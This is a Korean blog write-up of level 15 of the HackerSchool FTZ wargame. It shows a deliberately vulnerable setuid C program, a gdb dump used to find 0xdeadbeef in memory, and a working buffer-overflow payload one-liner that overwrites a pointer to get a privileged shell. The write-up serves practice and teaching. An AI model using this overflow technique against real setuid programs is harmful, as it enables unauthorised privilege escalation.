해커스쿨 FTZ [LEVEL15] 풀이
M4ndU
해커스쿨 FTZ [LEVEL15] 풀이입니다.
ID | level15
PW | guess what
으로 로그인합니다.
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat hint
를 이용해 힌트를 확인합시다.
login as: level15
level15@192.168.31.128's password:
[level15@ftz level15]$ ls -l
total 28
-rwsr-x--- 1 level16 level15 13801 Dec 10 2002 attackme
-rw-r----- 1 root level15 185 Dec 10 2002 hint
drwxr-xr-x 2 root level15 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level15 4096 Jan 11 2009 tmp
[level15@ftz level15]$ cat hint
#include <stdio.h>
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
level14 문제와 같아 보이는데 이번에 check가 포인터네요.
check의 값에 0xdeadbeef가 존재하는 곳의 주소를 넣어주어야 합니다.
gdb를 통해서 0xdeadbeef가 존재하는 주소를 찾아봅시다.
[level15@ftz level15]$ gdb -q attackme
(gdb) x/20x main
0x8048490 <main>: 0x83e58955 0xec8338ec 0x6435ff04 0x6a080496
0x80484a0 <main+16>: 0xc8458d2d 0xfeb6e850 0xc483ffff 0xf0458b10
0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18
0x80484c0 <main+48>: 0x000c1868 0xfeb6e800 0xc483ffff 0x0cec8310
0x80484d0 <main+64>: 0x04854868 0xfe66e808 0xc483ffff 0x90c3c910
(python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme
'System Hacking > FTZ' 카테고리의 다른 글
해커스쿨 FTZ [LEVEL17] 풀이 (2) | 2018.02.09 |
---|---|
해커스쿨 FTZ [LEVEL16] 풀이 (4) | 2018.02.09 |
해커스쿨 FTZ [LEVEL14] 풀이 (4) | 2018.02.09 |
해커스쿨 FTZ [LEVEL13] 풀이 (2) | 2018.02.09 |
해커스쿨 FTZ [LEVEL12] 풀이 (4) | 2018.02.09 |